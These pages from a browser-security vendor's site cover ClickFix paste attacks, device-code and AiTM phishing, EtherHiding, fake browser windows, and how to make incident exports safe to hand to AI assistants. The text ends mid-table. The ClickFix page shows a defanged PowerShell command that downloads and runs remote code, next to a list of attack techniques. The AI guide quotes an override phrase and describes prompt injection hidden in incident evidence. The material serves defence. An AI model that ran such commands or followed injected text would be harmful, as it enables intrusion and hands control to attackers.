Your organization's trusted websites, set once in the policy and applied by every browser. - The console shows when the warning page stopped someone (Prevented) and when they chose to continue anyway (Proceeded). - Fewer false alarms: pages that only talk about copy-paste attacks, and ordinary sign-in pages that resembled a provider's. - Light theme by default, a clearer console menu that stays as you left it, and a threat counter that keeps counting past 200. #### Extension 3.4.0 · Console 2.4.0 — October 2026 - Adversary-in-the-middle sign-in kits are recognised for Microsoft and ten more identity providers (Google, Apple, PayPal, Amazon, Docusign, Dropbox, Facebook, GitHub, Yahoo, Okta), also when the page shows no password field yet. - Attacks that start on a trusted sharing site and continue in a new tab are followed across tabs, and the console shows where the tab came from. - Sign-in links made for one person (the e-mail address carried in the link and filled in), one-time-code and QR sign-in pages on brand-new domains. - What a site asks your wallet to sign is decoded and recorded: unlimited approvals, permits and blind signatures. - Service workers can be removed from the console for one browser, a group or everyone, or automatically when they are judged malicious. - Blocking is decided in the policy: how hard known threats are blocked per severity and per group, your own list of blocked sites, “Block this site” in one click, and one message for sites blocked by IT. - Every table in the console can be sorted by any column. - Fewer false alarms on real Cloudflare pages and on long articles that describe attacks; the warning page opens only on the tab where the threat was found. - The page scan costs less on pages that change all the time. #### Extension 3.3.0 · Console 2.3.0 — October 2026 - Sign-in protection for the console: every failed sign-in is in the audit log, an account is locked for 15 minutes after five wrong passwords and the administrators are told by e-mail; administrators and our support can unlock it. - Each organization can allow console sign-in only from its own addresses, network ranges or countries. - Fewer false alarms: the real “I’m not a robot” checks (reCAPTCHA, hCaptcha, Turnstile) inside a page, the official background workers of Microsoft 365 and Google, and common push-notification services are recognised. - An event the analyst marked as a false positive no longer opens an incident. - Every service-worker, domain and Web3 detection has a rule id, so it shows up in the rule analysis export. - Resource telemetry: the raw records are kept one day by default, the summary of which pages loaded what is kept 90 days for hunting and indicator searches. #### Extension 3.2.0 · Console 2.2.0 — October 2026 - Export a whole incident: a PDF report, structured JSON, text ready for an AI assistant (attacker content clearly marked as data) or a ZIP with all three and SHA-256 checksums. A classification label (TLP or your own) is chosen at every export and printed on every page. - Rule analysis export: every threat event with what each rule matched and the analyst’s verdict, one line per event, to review false alarms. - Threat indicators: our lists reach every organization and browser automatically, signed; organizations add their own domains, addresses and file hashes, and older events are searched again when a list changes. - Fewer false alarms on bank and brand sites: official domains and the organization named in the site’s certificate are checked before an impersonation warning. - Malicious ad-tech infrastructure can be blocked, and hidden ad iframes that lead to attacks are recognized. - A threat in a background tab no longer pulls that tab to the front. - Administrators set how often browsers check in; events are sent by severity, with critical ones at once and the rest paced when the console is busy. - The console keeps up with thousands of browsers: monthly storage of events prepared in the background with no downtime, resource telemetry kept apart, dashboards from hourly counts. - When a trial or plan ends, the browsers keep the free protection and the console data is kept for 30 days. #### Extension 3.1.0 · Console 2.1.0 — October 2026 - Getting started in one tab: after installing, “Accept” opens the free account form right there; a 6-digit code from the e-mail confirms it and the browser is connected at once. - The free trial includes every browser protection of Pro, and in the console the core views, Web Intelligence and CSV export. - Console tables: drag a column edge to resize it; your widths follow you to every page and browser. Numbers line up with their headers. - The extension popup says what actually happened (threats in the last 7 days and the latest one) and links to the Terms and the Privacy policy. - Signing a browser out of an account asks for a clear confirmation and shows the result. #### Extension 3.0.0 · Console 2.0.0 — October 2026 - Your organization’s own warning page, with a one-click “Report to IT”. - Command Intelligence: every command attackers tried to make users run, decoded and grouped. - Ready-made dashboards, scheduled reports with a PDF attached, and recipients who confirm by e-mail. - Two-step sign-in can be required for a whole organization; “My account” in the console. - Light and dark (Command) themes in the console and the extension; a grouped side menu. - Detection rules signed by us and checked by the extension. #### Extension 2.7–2.14 · Console 1.7–1.14 — October 2026 - Accounts with a free trial, signed plans and policies, and seats per account. - Groups, rule modes (active, monitor, off) and per-site exceptions pushed to the browsers. - Service-worker analysis and removal; correlation that survives a browser restart. - Website age from RDAP, WHOIS and first-seen records, and the “compromised site” label. - Detection rules shipped as data (219 rules), with a self-test at start-up. #### Extension 2.3.37 · Console 1.1.1 — September 2026 - Clipboard analysis expanded to 90 rules across Windows, macOS and Linux, with Base64 and `-EncodedCommand` decoding. - Clipboard protection hardened against direct prototype calls and freshly created iframes. - New: EtherHiding detection and the ClickFix via EtherHiding correlation. - Device Code coverage extended to Google, GitHub, AWS IAM Identity Center and Okta. - ClickFix lures recognised in Romanian, German, French, Spanish, Italian, Portuguese, Polish and Dutch. - Fixed: background clipboard verification now runs on every path. #### Extension 2.3.36 · Console 1.1.0 — September 2026 - Diagnostics export in the extension and the console. - API request log and troubleshooting self-tests in the console. #### Extension 2.3.35 · Console 1.0.0 — September 2026 - First release of the console: incidents, Website Intelligence, Web3, hunting, devices and audit log. - Batched, resilient event delivery from the extension. --- ## ClickFix protection — stop fake CAPTCHA paste attacks Address: https://bytemantle.com/threats/clickfix/ Updated: 2026-11-12 > ClickFix tricks people into pasting a hidden command into Run or a terminal. See how the attack works and how ByteMantle stops it before anything runs. ### ClickFix & FileFix: the attack is the paste. A fake CAPTCHA, error or “verification step” copies a command into the clipboard and talks the user through three keystrokes that run it. The browser was the only place that saw it coming. #### Why it works ClickFix needs no exploit and no download prompt. The user runs the command themselves, so email gateways see a normal link, web proxies see a normal page, and endpoint tools only react once PowerShell is already running. In Microsoft’s 2025 Digital Defense Report, ClickFix was the most common initial-access technique in Defender Experts notifications — 47% of cases. Variants now target the File Explorer address bar (FileFix), macOS Terminal and Linux shells. #### How ByteMantle stops it 1. **Every clipboard write is inspected** — from the page, from iframes, and from tricks that call the browser’s clipboard API directly. 2. **The command is de-obfuscated** and matched against 92 rules for Windows, macOS and Linux. 3. **The clipboard is neutralized** before the user can paste. The page keeps working; the command is gone. 4. **The lure is recognised** — fake CAPTCHAs, keyboard-shortcut instructions in several languages, anti-DevTools tricks. 5. **Everything becomes one incident** with the decoded command, the rules, MITRE T1204.004 and the site’s infrastructure. #### What the evidence looks like Instead of “a paste was blocked”, your team gets the command the attacker wanted to run: ``` powershell -w hidden -c "iex(irm hxxps://cdn-•••[.]top/…)" rules: ps_iex_irm · ps_hidden_dl mitre: T1204.004 User Execution: Malicious Copy and Paste T1059.001 PowerShell site: •••••-check[.]top (registered 4 days ago) ``` The same command hash is tracked across devices in the console, so one blocked attempt tells you whether anyone else met it. #### Covered techniques (examples) | Family | Examples | | --- | --- | | PowerShell cradles | `iex(irm …)`, `iwr / iex`, WebClient downloads, `-EncodedCommand`, char-join and XOR obfuscation, AMSI bypass | | Windows LOLBins | mshta, rundll32 over WebDAV, regsvr32 scriptlets, certutil, bitsadmin, msiexec from URL, finger, nslookup payloads, conhost --headless | | Staging & persistence | `net use` / `pushd` WebDAV mounts, Run-key persistence, scheduled tasks | | macOS | `bash -c "$(curl …)"` from plain HTTP or raw IPs, osascript, quarantine removal, AppleScript URLs | | Linux | `curl / sh` to untrusted hosts, Base64 pipes, reverse shells | **Low noise by design** Official installer one-liners developers copy every day are recorded for context but never blocked on their own. [Get the extension](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) #### The whole story, not just the blocked paste A ClickFix lure rarely sits on the site the user meant to visit. In the console, the incident starts where the attack started: - **Where the user came from:** a search, a link in web mail or another site, and the redirects that led to the lure. - **Which script loaded which:** on a compromised site, the site’s own script that pulled in the attacker’s loader, so you know what to clean. - **The campaign:** the same payload host or command template on other sites and devices, grouped into one infrastructure on the campaign map. - **The exposed software** Enterprise: the outdated content management system or plugin the compromised site reports, with its known vulnerabilities. **Read the guide** [What is ClickFix? A guide for IT teams](https://bytemantle.com/research/what-is-clickfix/) · [A CAPTCHA asked you to press Windows + R](https://bytemantle.com/research/fake-captcha-windows-r/) · [Chrome’s ClickFix warning vs a security extension](https://bytemantle.com/research/chrome-clickfix-warning-vs-extension/) **Read our research** [Six ways a fake CAPTCHA delivers malware](https://bytemantle.com/research/fake-captcha-six-delivery-methods/) · [The ClickFix beacon](https://bytemantle.com/research/clickfix-beacon-fake-captcha-profiles-you/) · [ClickFix report, 5–11 November 2026](https://bytemantle.com/research/clickfix-report-2026-11-11/) **Sources** 1. [Microsoft Digital Defense Report 2025](https://www.microsoft.com/en-us/security/security-insider/threat-landscape/microsoft-digital-defense-report-2025) 2. [Microsoft Security Blog — Think before you ClickFix (Aug 2025)](https://www.microsoft.com/en-us/security/blog/2025/08/21/think-before-you-clickfix-analyzing-the-clickfix-social-engineering-technique/) 3. [The Hacker News — CTM360 report on 17,000 ClickFix URLs (Sep 2026)](https://thehackernews.com/2026/09/17000-urls-reveal-how-clickfix-turns.html) #### Want to see it on your own browsers? Free protection for everyone; trials, proofs of concept and pilots for teams. [Talk to us →](https://bytemantle.com/contact/?topic=pilot) --- ## Device Code phishing protection for Microsoft 365 Address: https://bytemantle.com/threats/device-code-phishing/ Updated: 2026-11-03 > Device Code phishing takes over Microsoft 365 accounts without a password or a fake page. See how ByteMantle warns users the moment the code page opens. ### Device Code phishing: the login page is real. The request isn’t. The attacker starts a legitimate sign-in on their own device and sends the victim a short code. The victim enters it on the genuine Microsoft page, completes MFA — and hands over a session token. #### Why it bypasses traditional controls - The page is **login.microsoft.com**, so URL reputation and look-alike detection see nothing wrong. - No password is typed into a fake form, so credential-phishing controls don’t fire. - MFA is completed by the victim, so the attacker receives a valid token. After the EvilTokens phishing kit went on sale in February 2026, researchers measured 37 times more device-code phishing pages than before, and a single campaign compromised more than 340 Microsoft 365 organisations. #### How ByteMantle protects users 1. **Microsoft device login pages** (including v2.0 endpoints and `microsoft.com/devicelogin`) trigger an immediate warning before the code is entered. 2. **The lure is traced:** if the page was opened from a suspicious site, a blob document or a new-domain chain, that origin is recorded and scored. 3. **“Proceed once”** lets a user who genuinely started the sign-in continue for five minutes — without turning the protection off. 4. **Google, GitHub, AWS IAM Identity Center and Okta** device pages are recorded for visibility and escalated to a warning when reached from a suspicious chain, so legitimate CLI and TV sign-ins stay quiet. #### How the user got there Device Code lures arrive by e-mail, chat and shared documents. The incident shows where the user came from — web mail, another site, a search — and every redirect on the way to the device login page, so you can find and remove the lure, not only the page. #### Pair it with Conditional Access If nobody in your organisation needs the device code flow, block it in Microsoft Entra Conditional Access (Authentication flows → Device code flow) and keep ByteMantle as the browser-side safety net and early-warning signal for everyone else. **Read the guide** [Device code phishing in Microsoft 365: how it works, how to stop it](https://bytemantle.com/research/device-code-phishing-microsoft-365/) **Sources** 1. [Cloud Security Alliance — OAuth Device Code phishing surge (Apr 2026)](https://labs.cloudsecurityalliance.org/research/csa-research-note-oauth-device-code-phishing-surge-20260405/) 2. [Proofpoint — Device code authorization phishing](https://www.proofpoint.com/us/blog/threat-insight/access-granted-phishing-device-code-authorization-account-takeover) 3. [Microsoft Learn — Block authentication flows with Conditional Access](https://learn.microsoft.com/en-us/entra/identity/conditional-access/policy-block-authentication-flows) #### Want to see it on your own browsers? Free protection for everyone; trials, proofs of concept and pilots for teams. [Talk to us →](https://bytemantle.com/contact/?topic=pilot) --- ## EtherHiding: malware hidden in smart contracts Address: https://bytemantle.com/threats/etherhiding/ Updated: 2026-11-12 > EtherHiding hides the next stage of a ClickFix attack in a blockchain contract. See how ByteMantle spots the lure and the contract call in the browser. ### EtherHiding: the lure lives on the blockchain. Attackers inject a small script into ordinary websites. The script asks a public blockchain node for the current lure address, stored in a smart contract — a free, read-only call made by the victim’s own browser. Blocking domains can’t keep up. #### How the attack works 1. A legitimate site (often WordPress) is compromised and a loader script is added. 2. The loader makes an `eth_call` to a contract on BNB Smart Chain or Polygon through a public RPC node. 3. The contract returns the current lure host or script. The attacker can change it at any time for cents, without touching the compromised site. 4. The victim sees a fake CAPTCHA or browser-update page — usually a ClickFix lure. Google’s Threat Intelligence Group counted about 14,000 injected pages in one campaign; CTM360 identified 17,000 compromised URLs in September 2026 and noted that domain blocking is only a limited mitigation. #### Why most tools miss it Web3 security products inspect transactions sent to a wallet. Phishing products look at URLs. An EtherHiding loader does neither: it reads a contract from a page that has nothing to do with crypto. #### How ByteMantle detects it - **RPC calls are observed in the page** — including public BNB, Polygon and Ethereum nodes. - **Context decides:** a page with no wallet activity that reads a contract is suspicious; if the decoded response contains a URL or domain, it is flagged as high severity. - **Correlation:** contract read followed by a ClickFix lure or a malicious clipboard write becomes a single critical incident — ClickFix via EtherHiding — mapped to MITRE T1102.001 (Dead Drop Resolver) and T1204.004. - **Detection, not disruption:** contract reads are never blocked automatically, so legitimate dApps keep working. #### From one page to the whole campaign - **The campaign map** groups every site that reads the same smart contract, so a wave of compromised sites becomes one finding. - **The script chain** shows which script on the compromised site loaded the code that queried the contract. - **The software behind the site** Enterprise: these campaigns live on outdated WordPress sites and plugins; Technology & Exposure shows which sites your people use report them. - **Share it:** the incident and its graph export as STIX 2.1, with the contract address, for your threat-intelligence platform. **Read the guide** [EtherHiding: the malware host nobody can take down](https://bytemantle.com/research/etherhiding-blockchain-malware/) **Read our research** [SC: the WordPress backdoor that keeps its servers on Ethereum](https://bytemantle.com/research/sc-family-wordpress-etherhiding/) · [One smart contract, a new payload server every few days](https://bytemantle.com/research/one-smart-contract-new-payload-host/) **Sources** 1. [Google Threat Intelligence Group — UNC5142 and EtherHiding](https://cloud.google.com/blog/topics/threat-intelligence/unc5142-etherhiding-distribute-malware) 2. [Google Threat Intelligence Group — DPRK adopts EtherHiding](https://cloud.google.com/blog/topics/threat-intelligence/dprk-adopts-etherhiding) 3. [The Hacker News — CTM360: 17,000 ClickFix URLs (Sep 2026)](https://thehackernews.com/2026/09/17000-urls-reveal-how-clickfix-turns.html) 4. [Trend Micro — Smart contracts for command and control](https://www.trendmicro.com/en_gb/research/26/e/smart-contracts-for-command-and-control.html) #### Want to see it on your own browsers? Free protection for everyone; trials, proofs of concept and pilots for teams. [Talk to us →](https://bytemantle.com/contact/?topic=pilot) --- ## Phishing protection in the browser Address: https://bytemantle.com/threats/phishing/ Updated: 2026-11-11 > Look-alike sign-in pages, browser-in-the-browser pop-ups, blob-URL phishing and days-old domains, detected in the browser before you type a password. ### Phishing on brand-new infrastructure. Modern phishing pages live for hours on domains registered days ago, draw fake browser windows, or are generated in memory where URL filters can’t see them. The browser sees all of it. ##### Domain Age Guard RDAP registration dates for the page and for every third-party script and WebSocket host it loads. Anything younger than 30 days (configurable) is flagged. ##### Browser-in-the-browser Pages that draw a fake address bar and window chrome around a login form are recognised by their structure. ##### Blob-URL phishing Login pages generated in memory with `blob:` URLs, invisible to network filters, are detected in the page. ##### Redirect cloakers Redirect → new domain → phishing or ClickFix page is correlated into one suspicious redirect chain. ##### Credential forms on new domains A password field on infrastructure registered days ago raises a precaution event and the site’s risk score. ##### Fleet-wide Intelligence In the console, every site gets a risk score that includes how many devices met it and which signals it produced. #### See the whole path to the page - **Where the user came from** and every redirect before the phishing page — search ads, web mail, link shorteners, cloakers — in the first lines of the incident. - **Adversary-in-the-middle kits** for Microsoft and ten more identity providers, recognised by the structure of the real sign-in page served from the wrong host. - **Campaigns:** the same kit, worker or payload host on several sites becomes one infrastructure in the console, drawn on the campaign map and in the investigation graph. **Works with what you already have** ByteMantle complements the protections of your identity provider and your mail filter: it sees the page your people actually open, after every redirect. **Read the guide** [AiTM phishing: how attackers bypass MFA](https://bytemantle.com/research/aitm-phishing-mfa-bypass/) **Read our research** [Browser-in-the-Browser phishing: the sign-in window that isn't a window](https://bytemantle.com/research/browser-in-the-browser-phishing/) #### Want to see it on your own browsers? Free protection for everyone; trials, proofs of concept and pilots for teams. [Talk to us →](https://bytemantle.com/contact/?topic=pilot) --- ## Research & guides — how today’s browser attacks work Address: https://bytemantle.com/research/ Updated: 2026-11-12 > Plain-language guides to ClickFix, fake CAPTCHAs, Device Code phishing, AiTM kits and EtherHiding: how each attack works and how to stop it. ### Research & guides: how today’s browser attacks work. Most attacks now start in a browser tab, not in an attachment. These guides explain each one in plain language: what you see, what really happens, and what stops it. #### For everyone [ClickFix report: 5–11 November 202632 hacked sites, 11 smart contracts, the commands and where they download from.Read the report →](https://bytemantle.com/research/clickfix-report-2026-11-11/) [One smart contract, a new payload server every few daysA Polygon contract sent hacked sites to a domain 13 hours old, then to a new one. Why block lists fall behind.Read the research →](https://bytemantle.com/research/one-smart-contract-new-payload-host/) [The ClickFix beaconA fake CAPTCHA command that reports the visitor to Google Apps Script before the download. Five sites, one operator.Read the research →](https://bytemantle.com/research/clickfix-beacon-fake-captcha-profiles-you/) [Beyond irm | iex: six ways a fake CAPTCHA delivers malwareA network drive, a silent installer, a decoy window, an HTML application, encoding and a code CDN.Read the research →](https://bytemantle.com/research/fake-captcha-six-delivery-methods/) [ClickFix report: 2–5 November 202638 hacked sites, 8 smart contracts, the commands and where they download from.Read the report →](https://bytemantle.com/research/clickfix-report-2026-11-05/) [A CAPTCHA asked you to press Windows + RWhy it is a ClickFix scam, what to do if you already pasted, and the one rule that keeps you safe.Read the guide →](https://bytemantle.com/research/fake-captcha-windows-r/) [Chrome’s new ClickFix warning — is it enough?What Chrome’s Enhanced Protection warning covers, what it sends to Google, and what an extension adds.Read the guide →](https://bytemantle.com/research/chrome-clickfix-warning-vs-extension/) #### For IT and security teams [What is ClickFix?The copy-paste attack your users run for the attacker, why defences miss it and where to break the chain.Read the guide →](https://bytemantle.com/research/what-is-clickfix/) [Device code phishing in Microsoft 365The real Microsoft page, the wrong person signed in. How to block the flow and warn users in time.Read the guide →](https://bytemantle.com/research/device-code-phishing-microsoft-365/) [Browser-in-the-Browser phishingThe sign-in pop-up that is only a picture of a window: how it works, how to tell in seconds, what stops it.Read the research →](https://bytemantle.com/research/browser-in-the-browser-phishing/) [AiTM phishing and MFA bypassHow proxy kits relay your MFA and steal the session cookie, and what actually stops them.Read the guide →](https://bytemantle.com/research/aitm-phishing-mfa-bypass/) [Your suppliers' exposure, without scanning anyoneHow the sites your people use become supplier and SaaS exposure, an exposure score and a NIS2 / DORA register.Read the guide →](https://bytemantle.com/research/supplier-exposure-without-scanning/) [What leaves the browser, and what does notWhat a browser security product sends to its console, what stays in the browser and what your organisation decides.Read the guide →](https://bytemantle.com/research/what-leaves-the-browser/) [SC: the WordPress backdoor that keeps its servers on EthereumOur research: a self-healing backdoor, its service worker in admins’ browsers and seven months of the contracts’ history.Read the research →](https://bytemantle.com/research/sc-family-wordpress-etherhiding/) [Which script loaded the attacker's script?Cleaning a hacked site starts with the file that added the attacker's code. How the browser shows it.Read the guide →](https://bytemantle.com/research/which-script-loaded-the-attackers-script/) [Give your AI assistant the incident, not the attacker's instructionsWhat a safe incident export looks like when the evidence was written by the attacker.Read the guide →](https://bytemantle.com/research/ai-incident-export-prompt-injection/) [EtherHiding: malware in smart contractsThe malware host nobody can take down, and how to stop the lure it serves.Read the guide →](https://bytemantle.com/research/etherhiding-blockchain-malware/) #### Stop these attacks before anything runs. Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) --- ## Give your AI assistant the incident, not the attacker's instructions Address: https://bytemantle.com/research/ai-incident-export-prompt-injection/ Updated: 2026-11-11 > Browser incidents are full of text the attacker wrote. Pasted into an AI assistant, it becomes prompt injection. What a safe incident export looks like, and how ByteMantle prepares one. ### Give your AI assistant the incident, not the attacker's instructions. Security teams paste incidents into AI assistants every day: "summarise this for management", "what should we check next?". In a browser attack, the incident is full of text the attacker wrote. Pasted as it is, that text can become instructions. Guide for security teams · 11 November 2026 · 4 min read #### In short - A browser incident contains the fake CAPTCHA text, the command the page put on the clipboard, the page title: all written by the attacker. - An AI assistant reads everything it is given. Text like "ignore the previous instructions" is prompt injection delivered by the attacker and run by your own assistant. - A safe export keeps the attacker's text inside clearly marked blocks labelled as untrusted data, hides people's names on request and records who exported what. - ByteMantle prepares incidents this way with one choice in the console. #### What a safe export looks like - **The attacker's text is fenced.** Everything that came from the web page sits between "begin untrusted data" and "end untrusted data" markers, and the export tells the assistant up front: this is evidence, never instructions; if it asks you to do something, report it as part of the attack. - **People stay private on request.** User names, device names, host names, e-mail addresses and the values of URL parameters are replaced. The evidence text is included only when you choose it, because sending it to an external AI service is a transfer of data your organisation decides on. - **It is labelled and recorded.** Each export carries the classification you choose (TLP 2.0 or your own labels such as Internal or Confidential) and is written to the audit log. #### What the assistant gets to work with The summary and verdict, the attack story (where the user came from, the redirects, which script loaded which), the timeline, every event with the rule that matched and why, the decoded command, what is known about the site, the campaign it belongs to, the graph and your team's notes. Enough for a useful answer, and nothing in it is an order. #### Beyond one incident - **Tune your rules with an assistant.** A rule-analysis export lists what each rule matched and what your analysts decided afterwards, with the same masking, so an assistant can help you find false alarms. - **Let your own agents ask.** On the Enterprise plan, the [Read API](https://bytemantle.com/docs/api/) lets your tools and AI agents query incidents and events with their own read-only key, limited to the data types you choose. **Tip** Whatever tool you use, give the assistant its own read-only access and tell it in its instructions to treat everything from the incident as data. If the assistant can also act in other systems, never let it act on text that came from a web page. #### Questions people ask **Which AI assistants does it work with?** Any. The export is plain text and JSON; you paste or upload it into the assistant your organisation approved. **Does ByteMantle send our incidents to an AI service?** No. The console prepares the file; your team decides whether and where to use it. **Read the guide** [What leaves the browser, and what does not](https://bytemantle.com/research/what-leaves-the-browser/) #### Stop these attacks before anything runs. Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) --- ## AiTM phishing: you passed MFA. So did the attacker. Address: https://bytemantle.com/research/aitm-phishing-mfa-bypass/ Updated: 2026-11-03 > Adversary-in-the-middle phishing kits proxy the real Microsoft sign-in, relay your MFA and steal the session cookie. How they work and what actually stops them. ### AiTM phishing: you passed MFA. So did the attacker. Adversary-in-the-middle (AiTM) kits put a proxy between you and the real sign-in page. You see Microsoft’s own page, you approve the MFA prompt, and the kit keeps the session cookie that proves you did. Guide · 30 October 2026 · 7 min read #### In short - AiTM kits relay the genuine sign-in page, so the design is perfect and MFA codes or push approvals pass through. - The prize is the session cookie: with it, the attacker is signed in as you without needing MFA again. - Kits are sold as a service. Tycoon 2FA was disrupted by a Europol-coordinated action in March 2026; its techniques live on in other kits. - What stops it: phishing-resistant MFA (passkeys, FIDO2), device-bound sessions, and spotting the proxied page before you type. #### How an AiTM attack works 1. **A link arrives**: a shared file, a voicemail, a DocuSign-style request, a QR code. It often goes through several redirects and a “checking your browser” page that filters out security scanners. 2. **The kit loads the real sign-in page** from Microsoft (or Google, Okta and others) and shows it to you through its own server, on its own domain. 3. **You type your e-mail and password**; the kit forwards them to the real service. 4. **The real service asks for MFA**; you approve it; the kit forwards your approval. 5. **The real service issues a session cookie**. The kit captures it and lets you continue, often straight to your real mailbox, so nothing seems wrong. 6. **The attacker replays the cookie** from their own browser and is in: mail, files, then often a new MFA method, mailbox rules and invoice fraud. #### Why your current controls may not see it - **The page is pixel-perfect** because it is the real one, relayed. Looks-wrong training does not help. - **Push, SMS and app codes are relayed.** Only phishing-resistant methods, bound to the real site’s address, break the relay. - **Domains are fresh and short-lived**, and anti-bot pages hide the kit from automated scanners. - **The stolen session looks normal** unless sign-in risk detection catches the new location or device. #### What actually stops it 1. **Phishing-resistant MFA** (passkeys, FIDO2 security keys, Windows Hello for Business). The key checks the real address, so a proxy cannot use it. Roll it out to administrators and finance first. 2. **Conditional Access** that requires a compliant or managed device, and token protection where available, so a stolen cookie is worth less elsewhere. 3. **Fast response**: revoke sessions, remove unknown MFA methods and check mailbox rules as soon as a user reports a suspicious sign-in. 4. **A check in the browser**, where the proxied page is actually rendered, before the user types anything. #### How ByteMantle helps - **The proxied page is recognised.** ByteMantle recognises the structure of the real Microsoft sign-in page, and of ten more identity providers, when it is served from a host that does not belong to them, and warns before the password is typed. - **New infrastructure is flagged.** Sign-in forms on domains registered days ago, fake browser windows (browser-in-the-browser) and pages built in memory (blob URLs) raise their own signals. - **The whole path is visible.** The console shows the e-mail or site the user came from and every redirect and cloaker on the way, and groups pages of the same kit into one campaign. More on [phishing protection](https://bytemantle.com/threats/phishing/). #### Questions people ask **Can phishing bypass MFA?** Yes. Adversary-in-the-middle kits relay codes and push approvals and steal the session cookie issued afterwards. Phishing-resistant methods such as passkeys and FIDO2 keys are not relayed, because they check the site’s real address. **How can I tell if a Microsoft sign-in page is fake?** Look at the address bar: Microsoft sign-in happens on login.microsoftonline.com, login.microsoft.com or login.live.com. A page that looks like Microsoft’s on any other address is fake, however perfect it looks. **What is Tycoon 2FA?** A phishing-as-a-service platform that sold AiTM kits targeting Microsoft 365 and Gmail. A Europol-coordinated action disrupted it in March 2026, but similar kits continue to operate. **I entered my password and approved MFA on a fake page. What now?** Tell IT immediately. They should revoke all sessions, reset the password, remove MFA methods you did not add and check mailbox forwarding rules and recent sign-ins. **Sources** 1. [Cloud Security Alliance — Tycoon2FA returns after law-enforcement disruption](https://labs.cloudsecurityalliance.org/research/csa-research-note-tycoon2fa-phaas-resurrection-maas-resilien/) 2. [Group-IB — Tycoon 2FA](https://www.group-ib.com/masked-actors/tycoon2fa/) 3. [Bridewell — The rise and fall of Tycoon 2FA](https://www.bridewell.com/insights/blogs/detail/the-rise-and-fall-of-tycoon-2fa-inside-the-mfa-bypassing-phishing-empire) #### Stop these attacks before anything runs. Free browser protection for everyone, in Chrome and Edge. One console for your whole company when you need it. [Get the extension — free](https://chromewebstore.google.com/detail/bkplloeajblikjdffgdepnhicgajfhcd) --- ## Browser-in-the-Browser phishing: the sign-in window that isn't a window Address: https://bytemantle.com/research/browser-in-the-browser-phishing/ Updated: 2026-11-11 > A Browser-in-the-Browser page draws a fake Chrome pop-up with a real-looking address bar and puts the attacker's sign-in form inside. How it works, how to tell it apart in seconds, and what actually stops it. ### Browser-in-the-Browser phishing: the sign-in window that isn't a window. You click "Sign in with Microsoft". A familiar pop-up opens with the padlock, the address `login.microsoftonline.com` and the usual sign-in box. You type your password. The pop-up was never a window. It was a picture of one, drawn inside the attacker's page. Research · 11 November 2026 · 6 min read #### In short - A Browser-in-the-Browser (BitB) page draws a fake browser window (title bar, padlock, address bar) with ordinary web code, and puts the attacker's sign-in form inside it. - The address you read in that window is just text. The page you are really on is still the attacker's. - Modern kits copy Chrome down to the details: the address without `https://`, the host in dark text and the path in grey, a window you can drag and resize, the browser name in the title bar. - Many kits add a human step: "Verifying your account…", then a one-time code request, so the attacker can relay your MFA code in real time. - What helps: passkeys or security keys, a password manager that refuses to fill, and protection that looks at the page you are actually on rather than at what the page draws. #### What we saw A browser protected by ByteMantle reached a page on `gme.henrysullivandocudywyq[.]com`. It pretended to be an online invitation: a blurred card in the background and the message "To view the invitation, please select your email provider below and log in". Six buttons followed: Outlook, Office365, Gmail, Yahoo Mail, AOL and Other Mail. Each button opened a convincing Chrome pop-up in the middle of the page. Here is what the page did to make it believable: 1. **A real-looking title bar.** "Microsoft 365 Sign In — Google Chrome", with minimise, maximise and close buttons. The page read the browser's name from the user agent, so an Edge user saw "— Microsoft Edge". 2. **An address bar that copies Chrome exactly.** A padlock, then `login.microsoftonline.com` in dark text and `/common/oauth2/v2.0/authorize?client_id=…` in grey. Each visit got a fresh random session number, so the address never looked recycled. 3. **Window behaviour.** You could drag the window by its title bar, resize it from any edge and double-click to maximise it. On a phone it slid up from the bottom like a native sheet. 4. **The sign-in page inside.** The form was the attacker's own page, loaded in a frame inside the fake window: careful copies of the AOL, Yahoo, Google and Microsoft sign-in pages, plus a generic "Sign in to Email". The frame was locked so that nothing in it could escape the window or open a real one. 5. **A memory.** If you refreshed, the fake window came back at the same step, with the same address. 6. **A waiting room.** After you submitted, the window closed and a "Verifying your account" screen appeared. Behind it, the page could show "Login successful", "Verification failed, try again" or a request for the code just sent to your phone, with a five-minute countdown. That last step is the part that defeats SMS and app codes: while you wait, the attacker tries your password on the real service and, if it asks for a code, asks you for it. The page is ready for that from the start: as soon as a sign-in page opens, it checks back with the attacker's server every three seconds, at addresses named after Telegram. The attacker sees each visitor arrive and steers the page from a chat app. #### How to tell a fake window from a real one A real browser window is drawn by the browser, outside the web page. A fake one lives inside the page, and that has consequences you can check in a few seconds: - **Drag it off the page.** A real pop-up can leave the browser window and sit over your taskbar. A fake one stops at the edge of the page. - **Look at your taskbar or window switcher.** A real pop-up appears there as its own window. A fake one does not. - **Click the padlock.** In a real window it opens the site's connection details. In a fake one it does nothing, or nothing Chrome-like. - **Check the address of the page you started on.** Your browser's own address bar, at the very top, still shows the attacker's domain while the fake window is open. - **Watch your password manager.** It fills `login.microsoftonline.com` only on the real `login.microsoftonline.com`. If it stays silent on a page you are sure you have used before, stop. #### What actually stops it **Tip** Passkeys and security keys are the strongest answer. They are tied to the real domain, so a sign-in form on another domain cannot use them, however perfect it looks. - **Phishing-resistant sign-in** (passkeys, FIDO2 security keys, Windows Hello for Business). A one-time code can be typed into the wrong place; a passkey cannot. - **A password manager with autofill on**, and the habit of treating "it didn't autofill" as a warning. - **Protection in the browser that judges the real page.** The fake window can lie about its address. The browser always knows the true one. #### How ByteMantle helps ByteMantle runs inside the browser and looks at the page you are really on, including every frame inside it: - **It recognises the fake window.** A sign-in form held inside an overlay that shows browser wording or an identity provider's sign-in address is treated as what it is: a credential lure. The full phishing warning opens. - **Sign-in forms in frames are checked too.** The form in the fake window is still a page on the attacker's domain. ByteMantle compares the brand the page presents (Microsoft, Google, Yahoo and 46 others) with the domains that brand really owns, and warns when they do not match. - **The warning takes over the whole tab,** not the fake window, so the attacker's page cannot dress it up or hide it. - **Domain and site risk.** A young domain raises the risk of a page that asks for a password; the extension icon shows the domain's age in days, and the console shows which other browsers in your organization reached the same site. - **One incident, not five alerts.** In the console, every finding from the same site on the same device becomes one incident with a timeline, the frames involved and the other devices that reached the site, so your team sees the whole attempt at once. In this case ByteMantle flagged the provider pages the user opened, and the user went back to safety from the warning. #### Indicators | Type | Value | | --- | --- | | Domain | `henrysullivandocudywyq[.]com` (registered 5 September 2026) | | Host | 